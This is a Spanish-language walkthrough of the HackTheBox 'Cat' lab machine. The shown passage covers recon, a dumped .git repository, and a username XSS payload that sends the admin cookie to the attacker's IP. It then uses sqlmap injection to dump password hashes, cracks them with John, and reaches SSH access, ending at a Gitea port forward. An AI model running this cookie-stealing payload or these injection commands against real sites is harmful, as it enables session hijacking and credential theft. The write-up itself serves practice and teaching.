Cat – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad : Medium / Media
  • Platform / Plataforma: HackTheBox

Avatar cat


Resumen Link to heading

“Cat” es una máquina de dificultad Media de la plataforma HackTheBox. La máquina víctima se encuentra corriendo un servidor web el cual filtra los archivos/código fuente corriendo el servidor en un repositorio oculto. Esto nos muestra una ruta para resolver la máquina: crear una cuenta cuyo nombre sea un Cross Site Scripting (XSS), el cual serà revisado por un admin a travès de uan tarea y esto nos permite extraer su cookie de usuario. Una vez con esta cookie, podemos acceder a un panel de admin vulnerable a SQL Injection, lo cual nos permite extraer una contraseña de una base de datos y ganar acceso a través de SSH en el sistema. Una vez dentro, podemos ver que la máquina víctima está corriendo un servicio Gitea interno. Este servicio es vulnerable a CVE-2024-6886 que es otro XSS. El sistema se encuentra corriendo una tarea la cual visita un repositorio automáticamente, por lo que nos aprovechamos de esta vulnerabilidad para obtener el código fuente de un script corriendo en la máquina víctima. Este script contiene las credenciales del usuario root, lo que nos permite ganar control total del sistema.


User / Usuario Link to heading

Empezamos con un rápido escaneo con Nmap sobre la máquina víctima buscando peurtos TCP abiertos; encontrando así 2 puertos abiertos: 22 SSH and 80 HTTP.

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn 10.10.11.53

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 00:52 -03
Nmap scan report for 10.10.11.53
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 16.49 seconds

Aplicando algunos scripts de reconocimiento sobre estos puertos con al flag -sVC obtenemos:

❯ sudo nmap -sVC -p22,80 10.10.11.53

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 00:55 -03
Nmap scan report for 10.10.11.53
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.38 seconds

Del output podemos ver un dominio: cat.htb. Agregamos este dominio junto con la IP de la máquina víctima en nuestro archivo /etc/hosts ejecutando en uan terminal:

❯ echo '10.10.11.53 cat.htb' | sudo tee -a /etc/hosts

Podemos revisar las tecnologías siendo utilizadas por el servidor web usando WhatWeb:

❯ whatweb -a 3 http://cat.htb

http://cat.htb [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.53], Title[Best Cat Competition]

Podemos ver que está ejecutando Apache.

Visitamos http://cat.htb en un navegador de internet. Podemos ver una página web acerca de un concurso de gatos:

Cat 1

La página muestra algunos ficheros usando PHP. Entre ellos, si clickeamos en Join podemos crear un usuario en la ruta /join.php:

Cat 2

Creamos una cuenta y, luego de crearla, clickeamos en Already have an account? y pasamos las credenciales. Ahora podemos visitar la pestaña Contest la cual redirige a /contest.php:

Cat 3

Podemos subir información acerca de gatos. Pero nada más allá de ello.

Podemos buscar por directorios a través de un Brute Force Directory Listing con la herramienta Gobuster usando el diccionario raft-small-words.txt de SecLists:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u http://cat.htb -x php -t 40 --no-error
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cat.htb
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 272]
/admin.php            (Status: 302) [Size: 1] [--> /join.php]
<SNIP>
/winners.php          (Status: 200) [Size: 5082]
/winners              (Status: 301) [Size: 304] [--> http://cat.htb/winners/]
/.htpasswd.php        (Status: 403) [Size: 272]
/.htpasswd            (Status: 403) [Size: 272]
/.git                 (Status: 301) [Size: 301] [--> http://cat.htb/.git/]
/.html.               (Status: 403) [Size: 272]
<SNIP>
Progress: 86014 / 86016 (100.00%)
===============================================================
Finished
===============================================================

Entre todos los archivos podemos ver un directorio .git lo cual parece ser un repositorio de Git.

Podemos entonces usar la herramienta git-dumper (que puede ser utilizada con pip3 install git-dumper) para extraer el contenido del repositorio en un directorio que llamaremos git_content:

❯ git-dumper http://cat.htb/.git/ ./git_content

Once we have dumped the Git files, we check the extracted content:

❯ ls -la git_content

total 84
drwxrwxr-x 7 gunzf0x gunzf0x 4096 Feb  7 01:21 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Feb  7 01:23 ..
-rwxrwxr-x 1 gunzf0x gunzf0x  893 Feb  7 01:21 accept_cat.php
-rwxrwxr-x 1 gunzf0x gunzf0x 4496 Feb  7 01:21 admin.php
-rwxrwxr-x 1 gunzf0x gunzf0x  277 Feb  7 01:21 config.php
-rwxrwxr-x 1 gunzf0x gunzf0x 6676 Feb  7 01:21 contest.php
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Feb  7 01:21 css
-rwxrwxr-x 1 gunzf0x gunzf0x 1136 Feb  7 01:21 delete_cat.php
drwxrwxr-x 7 gunzf0x gunzf0x 4096 Feb  7 01:21 .git
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Feb  7 01:21 img
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Feb  7 01:21 img_winners
-rwxrwxr-x 1 gunzf0x gunzf0x 3509 Feb  7 01:21 index.php
-rwxrwxr-x 1 gunzf0x gunzf0x 5891 Feb  7 01:21 join.php
-rwxrwxr-x 1 gunzf0x gunzf0x   79 Feb  7 01:21 logout.php
-rwxrwxr-x 1 gunzf0x gunzf0x 2725 Feb  7 01:21 view_cat.php
-rwxrwxr-x 1 gunzf0x gunzf0x 1676 Feb  7 01:21 vote.php
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Feb  7 01:21 winners
-rwxrwxr-x 1 gunzf0x gunzf0x 3374 Feb  7 01:21 winners.php

Este parece ser el código fuente del servidor web que está corriendo.

Previamente, cuando realizamos fuerza bruta con Gobuster, no teníamos acceso a los archivos config.php ni admin.php. Estos archivos son nuevos y pueden ser interesantes. Revisando config.php muestra:

<?php
// Database configuration
$db_file = '/databases/cat.db';

// Connect to the database
try {
    $pdo = new PDO("sqlite:$db_file");
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Error: " . $e->getMessage());
}
?>

El script està cargando una base de datos SQLite localizada en /database/cat.db. Pero esta base de datos no está presente en el repositorio descargado. No obstante, esta información puede sernos de utilidad maś tarde.

Resivando luego admin.php muestra una porción interesante de código:

<?php
session_start();

include 'config.php';

// Check if the user is logged in
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
    header("Location: /join.php");
    exit();
}

// Fetch cat data from the database
$stmt = $pdo->prepare("SELECT * FROM cats");
$stmt->execute();
$cats = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>

<SNIP>

El código revisa si es que una sesión de usuario no está definida o si el usuario de éste no es axel y redirige a /join.php.

Finalmente, si revisamos contest.php (otra página que cuando la visitábamos redirigía a /join.php) muestra:

<?php
session_start();

include 'config.php';

// Message variables
$success_message = "";
$error_message = "";

// Check if the user is logged in
if (!isset($_SESSION['username'])) {
    header("Location: /join.php");
    exit();
}

// Function to check for forbidden content
function contains_forbidden_content($input, $pattern) {
    return preg_match($pattern, $input);
}

// Check if the form has been submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Capture form data
    $cat_name = $_POST['cat_name'];
    $age = $_POST['age'];
    $birthdate = $_POST['birthdate'];
    $weight = $_POST['weight'];

    $forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";

    // Check for forbidden content
    if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
        contains_forbidden_content($age, $forbidden_patterns) ||
        contains_forbidden_content($birthdate, $forbidden_patterns) ||
        contains_forbidden_content($weight, $forbidden_patterns)) {
        $error_message = "Your entry contains invalid characters.";
    } else {
        // Generate unique identifier for the image
        $imageIdentifier = uniqid() . "_";

        // Upload cat photo
        $target_dir = "uploads/";
        $target_file = $target_dir . $imageIdentifier . basename($_FILES["cat_photo"]["name"]);
        $uploadOk = 1;
        $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

        // Check if the file is an actual image or a fake file
        $check = getimagesize($_FILES["cat_photo"]["tmp_name"]);
        if($check !== false) {
            $uploadOk = 1;
        } else {
            $error_message = "Error: The file is not an image.";
            $uploadOk = 0;
        }
        // Check if the file already exists
        if (file_exists($target_file)) {
            $error_message = "Error: The file already exists.";
            $uploadOk = 0;
        }

        // Check file size
        if ($_FILES["cat_photo"]["size"] > 500000) {
            $error_message = "Error: The file is too large.";
            $uploadOk = 0;
        }

        // Allow only certain file formats
        if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg") {
            $error_message = "Error: Only JPG, JPEG, and PNG files are allowed.";
            $uploadOk = 0;
        }

        // Check if $uploadOk is set to 0 by an error
        if ($uploadOk == 0) {
        } else {
            if (move_uploaded_file($_FILES["cat_photo"]["tmp_name"], $target_file)) {
                // Prepare SQL query to insert cat data
                $stmt = $pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");
                // Bind parameters
                $stmt->bindParam(':cat_name', $cat_name, PDO::PARAM_STR);
                $stmt->bindParam(':age', $age, PDO::PARAM_INT);
                $stmt->bindParam(':birthdate', $birthdate, PDO::PARAM_STR);
                $stmt->bindParam(':weight', $weight, PDO::PARAM_STR);
                $stmt->bindParam(':photo_path', $target_file, PDO::PARAM_STR);
                $stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);
                // Execute query
                if ($stmt->execute()) {
                    $success_message = "Cat has been successfully sent for inspection.";
                } else {
                    $error_message = "Error: There was a problem registering the cat.";
                }
            } else {
                $error_message = "Error: There was a problem uploading the file.";
            }
        }
    }
}
?>

<SNIP>

Si el usuario está logueado en el sitio web, éste es capaz de ver los datos (asumo que algo relacionado a la descripción de los gatos de la página web) pasando diferentes parámetros a ésta. El script también revisa que no se estén usando potenciales caracteres para evitar una SQL Injection. Si todo va bien, entonces la data es subida al servidor. Luego, el script también revisa la imagen y ve si ésta es válida; revisa su tamaño y la sube a la base de datos.

Uno de los archivos es accept_cat.php. Cuyo contenido es:

<?php
include 'config.php';
session_start();

if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        if (isset($_POST['catId']) && isset($_POST['catName'])) {
            $cat_name = $_POST['catName'];
            $catId = $_POST['catId'];
            $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
            $pdo->exec($sql_insert);

            $stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
            $stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
            $stmt_delete->execute();

            echo "The cat has been accepted and added successfully.";
        } else {
            echo "Error: Cat ID or Cat Name not provided.";
        }
    } else {
        header("Location: /");
        exit();
    }
} else {
    echo "Access denied.";
}
?>

Donde una potencial línea/query peligrosa es:

INSERT INTO accepted_cats (name) VALUES ('$cat_name')

Sin embargo, si tratásemos de performar un SQL Injection (SQLi) como un usuario a través del fichero /contest.php esto no funcionará gracias a los filtros que se estaban aplicando en este archivo.

También encontramos que el archivo accept_cat.php está siendo llamado y ejecutado por el archivo admin.php:

<SNIP>
    function acceptCat(catName, catId) {
       if (confirm("Are you sure you want to accept this cat?")) {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "accept_cat.php", true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4 && xhr.status === 200) {
                    window.location.reload();
                }
            };
            xhr.send("catName=" + encodeURIComponent(catName) + "&catId=" + catId);
        }
    }

    function rejectCat(catId) {
        if (confirm("Are you sure you want to reject this cat?")) {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "delete_cat.php", true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4 && xhr.status === 200) {
                    window.location.reload();
                }
            };
            xhr.send("catId=" + catId);
        }
    }
<SNIP>

Alguien o algo está revisando los datos que se suben al concurso de gatos a través de la web principal. El único problema es que tenemos una tarea bloqueando caracteres para un potencial SQLi. Un parámetro que no está siendo revisado es el nombre del usuario, tal cual podemos ver en join.php:

<?php
session_start();

include 'config.php';

$success_message = "";
$error_message = "";

// Registration process
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['registerForm'])) {
    $username = $_GET['username'];
    $email = $_GET['email'];
    $password = md5($_GET['password']);

    $stmt_check = $pdo->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
    $stmt_check->execute([':username' => $username, ':email' => $email]);
    $existing_user = $stmt_check->fetch(PDO::FETCH_ASSOC);

    if ($existing_user) {
        $error_message = "Error: Username or email already exists.";
    } else {
        $stmt_insert = $pdo->prepare("INSERT INTO users (username, email, password) VALUES (:username, :email, :password)");
        $stmt_insert->execute([':username' => $username, ':email' => $email, ':password' => $password]);

        if ($stmt_insert) {
            $success_message = "Registration successful!";
        } else {
            $error_message = "Error: Unable to register user.";
        }
    }
}
<SNIP>

Por lo que el plan a seguir es el siguiente:

  1. Loguearnos en la aplicación con un usuario cuyo nombre sea un payload Cross Site Scripting (XSS).
  2. Ir a la página /contest.php y subir datos al concurso de gatos.
  3. Esto generará datos que serán revisados eventualmente por un administrador, lo cual activará el payload XSS que podemos usar para robar una cookie de sesión.
  4. Usamos la cookie de sesión para acceder a /admin.php.

De esta manera, al momento de crear una cuenta nos creamos uan cuyo nombre será un payload de XSS:

<script>document.location='http://10.10.16.3/?c='+document.cookie;</script>

Donde 10.10.16.3 es nuestra IP de atacantes.

Cat 5

Dado que intentaremos enviarnos datos a través de payloads de XSS, podemos empezar un servidor temporal HTTP con Python por el puerto 80 ejecutando en una terminal:

❯ python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Una vez hayamos creado la cuenta, clickeamos en el botón Already have an account?. Clickeando allí ponemos nuestras credenciales de la cuenta maliciosa. Luego, podemos acceder a /contest.php.

Rellenamos el formulario del concurso de gatos con datos random, una imagen random y enviamos el formulario. Luego de algunos segundos de haber enviado el formulario con la cuenta maliciosa, obtenemos un request en nuestro servidor temporal HTTP:

❯ python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.53 - - [07/Feb/2025 02:55:46] "GET /?c=PHPSESSID=8ur7ibfluajaj1prlj3idigvnk HTTP/1.1" 200 -
10.10.11.53 - - [07/Feb/2025 02:55:47] code 404, message File not found
10.10.11.53 - - [07/Feb/2025 02:55:47] "GET /favicon.ico HTTP/1.1" 404 -

Vamos a nuestro navegador de internet (en mi caso Firefox con Ctrl+Shift+I) y reemplazamos nuestra cookie actual de sesión con la cookie obtenida. Podemos así ver ahora:

Cat 6

Tenemos en la parte superior una nueva pestaña de Admin la cual redirige a /admin.php.

No obstante, esta página está vacía:

Cat 7

Asumo que este es el sitio donde los gatos son aceptados o rechazados para el concurso. Pero no podemos ver nada ya que actualmente no tenemos peticiones de gatos para participar en el concurso.

Del análisis de los códigos fuente podemos recordar que existía una parámetro cat_name el cual era potencialmente vulnerable a SQLi. De esta manera, podemos usar SQLMap tratando de obtener algo. Podemos especificar la base de datos que se está utilizando, la cual ya sabemos que es SQLite y lo cual nos ahorrará mucho tiempo. Ejecutamos así:

❯ sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=test" --cookie="PHPSESSID=a6hlvkq2jjt76gm3a6k0u376ob" -p catName --level=5 --risk=3 --dbms=SQLite --batch

<SNIP>
[03:11:17] [INFO] POST parameter 'catName' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)
[03:11:17] [INFO] testing 'Generic inline queries'
[03:11:17] [INFO] testing 'SQLite inline queries'
[03:11:18] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[03:11:18] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[03:11:18] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[03:11:28] [INFO] POST parameter 'catName' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable
<SNIP>
---
[03:11:55] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Ubuntu 20.10 or 19.10 or 20.04 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: SQLite

El parámetro es vulnerable a SQLi. Por lo que lo podemos usar para extraer cosas importantes de la base de datos.

Acto seguido, buscamos por tablas usando la flag --tables:

❯ sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=test" --cookie="PHPSESSID=a6hlvkq2jjt76gm3a6k0u376ob" -p catName --level=5 --risk=3 --dbms=SQLite --batch --tables --threads 10

<SNIP>
[03:14:04] [INFO] retrieved: 5
[03:14:14] [INFO] retrieved: users
<current>
[4 tables]
+-----------------+
| accepted_cats   |
| cats            |
| sqlite_sequence |
| users           |
+-----------------+

Vemos una tabla llamada users la cual puede ser interesante.

Extraemos el contenido de esta tabla usando las flags -T users --dump:

❯ sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=test" --cookie="PHPSESSID=a6hlvkq2jjt76gm3a6k0u376ob" -p catName --level=5 --risk=3 --dbms=SQLite --batch -T users --dump --threads 10

<SNIP>
[03:16:13] [INFO] retrieved: axel2017@gmail.com
[03:16:13] [INFO] retrieving the length of query output
[03:16:13] [INFO] retrieved: 32
[03:16:36] [INFO] retrieved: d1bbba3670feb9435c9841e46e60ee2f
[03:16:36] [INFO] retrieving the length of query output
[03:16:36] [INFO] retrieved: 1
[03:16:39] [INFO] retrieved: 1
[03:16:45] [INFO] retrieving the length of query output
[03:16:45] [INFO] retrieved: 4
[03:16:54] [INFO] retrieved: axel
[03:16:54] [INFO] retrieving the length of query output
[03:16:54] [INFO] retrieved: 24
[03:17:13] [INFO] retrieved: rosamendoza485@gmail.com
[03:17:13] [INFO] retrieving the length of query output
[03:17:13] [INFO] retrieved: 32
[03:17:35] [INFO] retrieved: ac369922d560f17d6eeb8b2c7dec498c
[03:17:35] [INFO] retrieving the length of query output
[03:17:35] [INFO] retrieved: 1
[03:17:38] [INFO] retrieved: 2
[03:17:44] [INFO] retrieving the length of query output
[03:17:44] [INFO] retrieved: 4
[03:17:53] [INFO] retrieved: rosa
[03:17:53] [INFO] retrieving the length of query output
[03:17:53] [INFO] retrieved: 29
[03:18:12] [INFO] retrieved: robertcervantes2000@gmail.com
[03:18:12] [INFO] retrieving the length of query output
[03:18:12] [INFO] retrieved: 32
[03:18:35] [INFO] retrieved: 42846631708f69c00ec0c0a8aa4a92ad
<SNIP>
Table: users
[11 entries]
+---------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+----------+
| user_id | email                                                                                                                                                                                                                           | password                         | username |
+---------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+----------+
| 1       | axel2017@gmail.com                                                                                                                                                                                                              | d1bbba3670feb9435c9841e46e60ee2f | axel     |
| 2       | rosamendoza485@gmail.com                                                                                                                                                                                                        | ac369922d560f17d6eeb8b2c7dec498c | rosa     |
| 3       | robertcervantes2000@gmail.com                                                                                                                                                                                                   | 42846631708f69c00ec0c0a8aa4a92ad | robert   |
| 4       | fabiancarachure2323@gmail.com                                                                                                                                                                                                   | 39e153e825c4a3d314a0dc7f7475ddbe | fabian   |
<SNIP>

Tenemos hashes para 3 usuarios: axel, rosa, fabian and robert.

Todos estos hashes tienen un largo de 32 caracteres. Por lo que muy posiblemente sean hashes MD5.

❯ echo -n '42846631708f69c00ec0c0a8aa4a92ad' | wc -c

32

Podemos entonces tratar de crackear este hash a través de Brute Force Password Cracking usando JohnTheRipper (john) junto con el diccionario rockyou.txt:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt sqlite_db_hashes --format=Raw-MD5

Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
soyunaprincesarosa (?)
1g 0:00:00:02 DONE (2025-02-07 03:26) 0.4672g/s 6702Kp/s 6702Kc/s 15089KC/s  fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Obtenemos una contraseña: soyunaprincesarosa.

Revisamos con NetExec si esta contraseña es válida para alguno de los usuario que se encontraban en la base de datos por medio de SSH:

❯ nxc ssh 10.10.11.53 -u axel rosa robert fabian -p 'soyunaprincesarosa'

SSH         10.10.11.53     22     10.10.11.53      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
SSH         10.10.11.53     22     10.10.11.53      [-] axel:soyunaprincesarosa
SSH         10.10.11.53     22     10.10.11.53      [+] rosa:soyunaprincesarosa  Linux - Shell access!

Obtenemos credenciales para SSH: rosa:soyunaprincesarosa.

Ganamos acceso a la máquina víctima a través de SSH como el usuario rosa:

❯ sshpass -p 'soyunaprincesarosa' ssh -o stricthostkeychecking=no rosa@10.10.11.53

<SNIP>
rosa@cat:~$

Revisando los grupos de rosa, notamos que es miembro del grupo adm.

rosa@cat:~$ id

uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)
Información
En Linux, el grupo adm es un grupo de sistema que tradicionalmente se utiliza para otorgar permisos de acceso a archivos de registro del sistema y otras tareas de administración, permitiendo a sus miembros leer archivos en /var/log.

Del escaneo con WhatWeb pudimos ver que el servidor web estaba corriendo mediante Apache, por lo que podemos revisar logs de Apache en la ruta /var/logs/apache2. Buscamos por el string pass (para password) en este directorio con grep, obteniendo así:

rosa@cat:~$ grep -ir 'pass' /var/log/apache2 2>/dev/null

/var/log/apache2/access.log:127.0.0.1 - - [07/Feb/2025:00:00:07 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
/var/log/apache2/access.log:127.0.0.1 - - [07/Feb/2025:00:00:18 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
<SNIP>

Obtenemos una potencial contraseña para el usuario axel: aNdZwgC4tI9gnVXv_e3Q.

Revisamos nuevamente con NetExec a través de SSH si estas credenciales son válidas para el usuario axel:

❯ nxc ssh 10.10.11.53 -u axel -p 'aNdZwgC4tI9gnVXv_e3Q'

SSH         10.10.11.53     22     10.10.11.53      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
SSH         10.10.11.53     22     10.10.11.53      [+] axel:aNdZwgC4tI9gnVXv_e3Q  Linux - Shell access!

Lo son. Por lo que tenemos nuevas credenciales: axel:aNdZwgC4tI9gnVXv_e3Q.

Accedemos a la máquina víctima por SSH, pero ahora como el usuario axel:

❯ sshpass -p 'aNdZwgC4tI9gnVXv_e3Q' ssh -o stricthostkeychecking=no axel@10.10.11.53

<SNIP>
You have mail.
Last login: Thu Feb  6 22:01:05 2025 from 10.10.14.19

axel@cat:~$

Podemos extraer la flag de usuario.


Root Link to heading

Apenas logueamos, notamos que el usuario axel tenía un mensaje: You have email. Por lo que revisamos el directorio /var/mail/axel en busca de mails:

axel@cat:~$ cat /var/mail/axel

From rosa@cat.htb  Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
        for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
        for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From rosa@cat.htb  Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
        for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
        for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

El mail habla sobre un servicio Gitea hosteado en localhost:3000 (el puerto por defecto para Gitea), y que alguien estará revisando un repositorio cuando notifiquemos por mail. Además, se menciona un repositorio de testeo http://localhost:3000/administrator/Employee-management/.

Revisamos puertos internos abiertos en la máquina víctima:

axel@cat:~$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   10                                   127.0.0.1:587                                   0.0.0.0:*
LISTEN              0                   1                                    127.0.0.1:39855                                 0.0.0.0:*
LISTEN              0                   37                                   127.0.0.1:54547                                 0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                    0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                    0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:3000                                  0.0.0.0:*
LISTEN              0                   10                                   127.0.0.1:25                                    0.0.0.0:*
LISTEN              0                   128                                  127.0.0.1:55967                                 0.0.0.0:*
LISTEN              0                   511                                          *:80                                          *:*
LISTEN              0                   128                                       [::]:22                                       [::]:*

El puerto 3000, que debería de ser de Gitea, está abierto.

Adicionalmente podemos revisar si este es el sitio para Gitea usando cURL:

axel@cat:~$ curl -s http://127.0.0.1:3000 | grep -i gitea

<html lang="en-US" data-theme="gitea-auto">
        <meta name="author" content="Gitea - Git with a cup of tea">
        <meta name="description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">
        <meta name="keywords" content="go,git,self-hosted,gitea">
                customEmojis: {"codeberg":":codeberg:","git":":git:","gitea":":gitea:","github":":github:","gitlab":":gitlab:","gogs":":gogs:"},
        <meta property="og:description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">
<link rel="stylesheet" href="/assets/css/theme-gitea-auto.css?v=1.22.0">
                        <a class="item" target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com">Help</a>
                                Simply <a target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com/installation/install-from-binary">run the binary</a> for your platform, ship it with <a target="_blank" rel="noopener noreferrer" href="https://github.com/go-gitea/gitea/tree/master/docker">Docker</a>, or get it <a target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com/installation/install-from-package">packaged</a>.
                                Gitea runs anywhere <a target="_blank" rel="noopener noreferrer" href="https://go.dev/">Go</a> can compile for: Windows, macOS, Linux, ARM, etc. Choose the one you love!
                                Gitea has low minimal requirements and can run on an inexpensive Raspberry Pi. Save your machine energy!
                                Go get <a target="_blank" rel="noopener noreferrer" href="https://code.gitea.io/gitea">code.gitea.io/gitea</a>! Join us by <a target="_blank" rel="noopener noreferrer" href="https://github.com/go-gitea/gitea">contributing</a> to make this project even better. Don't be shy to be a contributor!
                        <a target="_blank" rel="noopener noreferrer" href="https://about.gitea.com">Powered by Gitea</a>

Ya que este servicio está corriendo, podemos crear un túnel a través de un Local Port Forwarding usando las credenciales de axel por SSH para ganar acceso a este servicio interno. Cerramos la sesión de SSH actual y convertimos el puerto 3000 de la máquina víctima en nuestro puerto 3000 ejecutando en una terminal:

❯ sshpass -p 'aNdZwgC4tI9gnVXv_e3Q' ssh -o stricthostkeychecking=no -L 3000:127.0.0.1:3000 axel@10.10.11.53

